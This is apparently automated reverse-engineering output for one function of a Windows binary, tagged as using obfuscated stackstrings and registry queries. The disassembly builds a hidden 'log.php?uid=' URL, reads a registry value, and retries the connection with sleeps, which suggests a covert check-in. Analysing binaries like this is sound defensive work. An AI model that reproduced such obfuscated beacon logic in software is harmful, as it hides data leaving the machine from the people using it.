Function at 0x14007a810
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x248]
sub rsp, 0x320
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x1400bfbc8]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov dword [rbp - 0x60], 0x74666f53
mov dword [rbp - 0x59], 0x55455c65
mov word [rbp - 0x55], 0x4b44
mov word [rbp - 0x5c], 0x6177
mov byte [rbp - 0x53], 0
mov byte [rbp - 0x5a], WSACleanup
call fcn.140006ac0
mov rcx, rax
test rax, rax
jne 0x14007a88a
mov ecx, 0x80004005
call fcn.140006830
int3
mov rax, qword [rax]
mov rdx, qword [rax + 0x18]
lea r12, vtable.ATL::CAtlStringMgr.0
cmp rax, r12
jne 0x14007a8a7
lock inc dword [rcx + 0x20]
lea rax, [rcx + 0x10]
jmp 0x14007a8a9
call rdx
add rax, 0x18
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x60]
lea rax, [rbp - 0x60]
test rax, 0xffffffffffff0000
jne 0x14007a8e3
movzx ebx, cx
mov ecx, ebx
call fcn.140005fb0
test rax, rax
je 0x14007a8fe
mov r8d, ebx
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.140006100
jmp 0x14007a8fe
lea rcx, [rbp - 0x60]
call fcn.140050890
mov r8d, eax
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x30]
call fcn.140006320
nop
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp - 0x10]
call fcn.14004d3e0
mov rcx, qword [0x1400c2b28]
mov rax, qword [rcx]
mov r8d, 0x104
lea rdx, [rbp - 0x10]
call qword [rax + 0xa8]
call fcn.140006ac0
mov rcx, rax
test rax, rax
jne 0x14007a941
mov ecx, 0x80004005
call fcn.140006830
int3
mov rax, qword [rax]
mov rdx, qword [rax + 0x18]
cmp rax, r12
jne 0x14007a957
lock inc dword [rcx + 0x20]
lea rax, [rcx + 0x10]
jmp 0x14007a959
call rdx
add rax, 0x18
mov qword [rsp + 0x40], rax
lea rcx, [rbp - 0x10]
lea rax, [rbp - 0x10]
test rax, 0xffffffffffff0000
jne 0x14007a993
movzx ebx, cx
mov ecx, ebx
call fcn.140005fb0
test rax, rax
je 0x14007a9ae
mov r8d, ebx
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140006100
jmp 0x14007a9ae
lea rcx, [rbp - 0x10]
call fcn.140050890
mov r8d, eax
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x40]
call fcn.140006320
nop
lea r8, [0x1400a2e78]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140005720
nop
lea r8, [rsp + 0x30]
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005800
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rdi, qword [rsp + 0x30]
add rdi, 0xffffffffffffffe8
cmp rcx, rdi
je 0x14007aa25
cmp dword [rdi + 0x10], 0
jl 0x14007aa16
mov rax, qword [rdi]
cmp qword [rcx], rax
jne 0x14007aa16
call fcn.140006510
mov rbx, rax
mov rcx, rdi
call fcn.140006ba0
lea rax, [rbx + 0x18]
mov qword [rsp + 0x30], rax
jmp 0x14007aa25
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x30]
call fcn.140006320
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
or r15d, 0xffffffff
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14007aa67
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
cmp rax, r12
jne 0x14007aa63
mov rcx, qword [rcx + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14007aa67
call r8
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14007aaa5
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
cmp rax, r12
jne 0x14007aaa1
mov rcx, qword [rcx + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14007aaa5
call r8
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14007aae2
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
cmp rax, r12
jne 0x14007aadf
mov rcx, qword [rcx + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14007aae2
call r8
xor r13d, r13d
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x50], 4
mov dword [rsp + 0x54], 4
mov dword [rbp - 0x4f], 0x65747379
mov dword [rbp - 0x4b], 0x4455456d
mov dword [rbp - 0x43], 0x70795474
mov word [rbp - 0x3f], 0x65
mov byte [rbp - 0x50], 0x53
mov word [rbp - 0x46], 0x6f46
mov byte [rbp - 0x44], WSASetLastError
mov byte [rbp - 0x47], 0x4b
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x54]
lea r8, [rbp - 0x50]
mov rdx, qword [rsp + 0x30]
mov rcx, 0xffffffff80000003
call qword [sym.imp.SHLWAPI.dll_SHGetValueA]
cmp dword [rsp + 0x38], 1
jne 0x14007ae24
call fcn.140006ac0
mov rcx, rax
test rax, rax
jne 0x14007ab79
mov ecx, 0x80004005
call fcn.140006830
int3
mov rax, qword [rax]
mov rdx, qword [rax + 0x18]
cmp rax, r12
jne 0x14007ab8f
lock inc dword [rcx + 0x20]
lea rax, [rcx + 0x10]
jmp 0x14007ab91
call rdx
add rax, 0x18
mov qword [rsp + 0x48], rax
mov dword [rbp - 0x19], 0x313d73
mov dword [rbp - 0x28], 0x753f7068
mov dword [rbp - 0x1e], 0x73253d6d
mov dword [rbp - 0x37], 0x73707474
mov word [rbp - 0x30], 0x7325
mov word [rbp - 0x33], 0x2f3a
mov dword [rbp - 0x2d], 0x2e676f6c
mov word [rbp - 0x23], 0x3d64
mov byte [rbp - 0x38], 0x68
mov byte [rbp - 0x31], Ordinal_50
mov word [rbp - 0x20], 0x2673
mov byte [rbp - 0x21], 0x25
mov byte [rbp - 0x29], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp - 0x2e], Ordinal_50
mov byte [rbp - 0x1a], Ordinal_41
mov byte [rbp - 0x24], 0x69
mov rcx, qword [0x1400c2b28]
mov rax, qword [rcx]
lea rdx, [rsp + 0x70]
call qword [rax + 0x58]
mov rbx, rax
lea rcx, [rsp + 0x68]
call fcn.140005530
nop
lea rcx, str.86ca8c7a6ef247aab1752f01eadbff1b
mov qword [rsp + 0x20], rcx
mov r9, qword [rbx]
mov r8, qword [rax]
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x48]
call fcn.140005d80
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14007ac70
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
cmp rax, r12
jne 0x14007ac6c
mov rcx, qword [rcx + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14007ac70
call r8
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14007acad
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
cmp rax, r12
jne 0x14007acaa
mov rcx, qword [rcx + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14007acad
call r8
mov r14d, r13d
mov rbx, qword [rsp + 0x48]
cmp r14d, 3
jne 0x14007acd8
lea r8, str.lg.php
lea rdx, str.log.php
lea rcx, [rsp + 0x48]
call fcn.140007120
mov rbx, qword [rsp + 0x48]
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x100]
call fcn.14004d3e0
mov rcx, qword [0x1400c2b28]
mov rax, qword [rcx]
mov r8d, 0x104
lea rdx, [rbp + 0x100]
call qword [rax + 0xa8]
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x70], r13
mov byte [rbp - 0x80], 0
lea r8, [rbp - 0x80]
mov rdx, rbx
call fcn.14008a420
test al, al
je 0x14007ad70
lea rcx, [0x1400a313c]
call fcn.140050890
mov rdi, rax
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rcx, qword [rbp - 0x80]
mov rsi, qword [rbp - 0x70]
mov r8, rax
cmp rsi, rax
cmovb r8, rsi
test r8, r8
je 0x14007ad69
lea rdx, [0x1400a313c]
call fcn.14004eb40
test eax, eax
jne 0x14007ad70
cmp rsi, rdi
jb 0x14007ad70
jbe 0x14007adc8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rax, qword [rbp - 0x68]
cmp rax, 0x10
jb 0x14007adba
inc rax
mov rcx, qword [rbp - 0x80]
cmp rax, 0x1000
jb 0x14007adb5
test cl, 0x1f
jne 0x14007ade5
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14007addf
sub rcx, rax
cmp rcx, 8
jb 0x14007add9
cmp rcx, 0x27
ja 0x14007add3
mov rcx, rax
call fcn.14004bca4
inc r14d
cmp r14d, 6
jge 0x14007adeb
jmp 0x14007acb5
lea rcx, [rbp - 0x80]
call fcn.140004ec0
jmp 0x14007adeb
call fcn.140050420
int3
call fcn.140050420
int3
call fcn.140050420
int3
call fcn.140050420
nop
lea rdx, [rbx - 0x18]
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14007ae24
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
cmp rax, r12
jne 0x14007ae20
mov rcx, qword [rcx + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14007ae24
call r8
nop
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r15d
sub r15d, 1
jg 0x14007ae60
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
cmp rax, r12
jne 0x14007ae5d
mov rcx, qword [rcx + 8]
mov r8, rdx
xor edx, edx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14007ae60
call r8
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.14004bcc0
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret